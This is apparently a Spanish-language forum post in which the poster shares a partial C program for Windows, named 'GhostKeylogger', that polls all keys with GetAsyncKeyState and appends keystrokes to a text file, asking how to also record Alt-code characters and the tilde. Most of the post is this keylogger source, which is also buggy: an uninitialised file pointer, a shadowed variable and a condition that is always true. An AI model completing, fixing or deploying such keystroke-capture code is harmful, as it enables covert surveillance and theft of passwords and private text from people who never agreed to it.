Hola !
Esta es una pequeña porción ejemplo con la que estube experimentando.
En este caso solamente estoy tratando las partes que me traen "problema" y aclaro que no es el código completo.
Lo que quiero hacer es que cuando uno apriete la tecla Alt + 999 por ejemplo en el archivo de texto se guarde [ALT]+[numero 9] [numero 9] [numero 9]
Sin embargo, no solo debe tener esa salida, en los casos como Alt+1 (☺) tambien debe imprimirse el caracter del código ascci que da resultado de la combinacion de teclas (☺).
El programa tambien debe imprimir el copete de la ñ (~) que se obtiene realizando (Ctrl+Alt+4 dos veces).
Como ya utilizé un for que va desde 0 a 255 para obtener la salida [Alt]+[numero]
Estoy limitado y no puedo mas que guardar los caracteres 1 por 1.
por ejemplo si se preciona alt && 1 entonces hacer ☺.
El problema es que nose como imprimir el ☺. Aparece una salida muy extraña. Tiene algunos errores.
Código:
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31
void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32];
void GhostKeylogger(FILE *txt)
{
for(int i=0; i<255; i++){
if(GetAsyncKeyState(i)==-32767){
*teclasespeciales = 0;
if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
fprintf(txt, "%c", *teclasespeciales);
else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
fprintf(txt, "[%s]", teclasespeciales);
}
if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
{
if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
{
fprintf(txt,"~"); break;
}}
if(GetAsyncKeyState(VK_MENU)&&(VK_1))
{
fprintf(txt,"%c",toascii(58)); break; //ASCII ?????
}
}
}
int main(){
FILE *txt;
while(TRUE){
if(txt != NULL){
FILE *txt = fopen("Experimento.txt", "a+");
Sleep(30);/*to prevent high usage*/
GhostKeylogger(txt);
fclose(txt);
}
}
}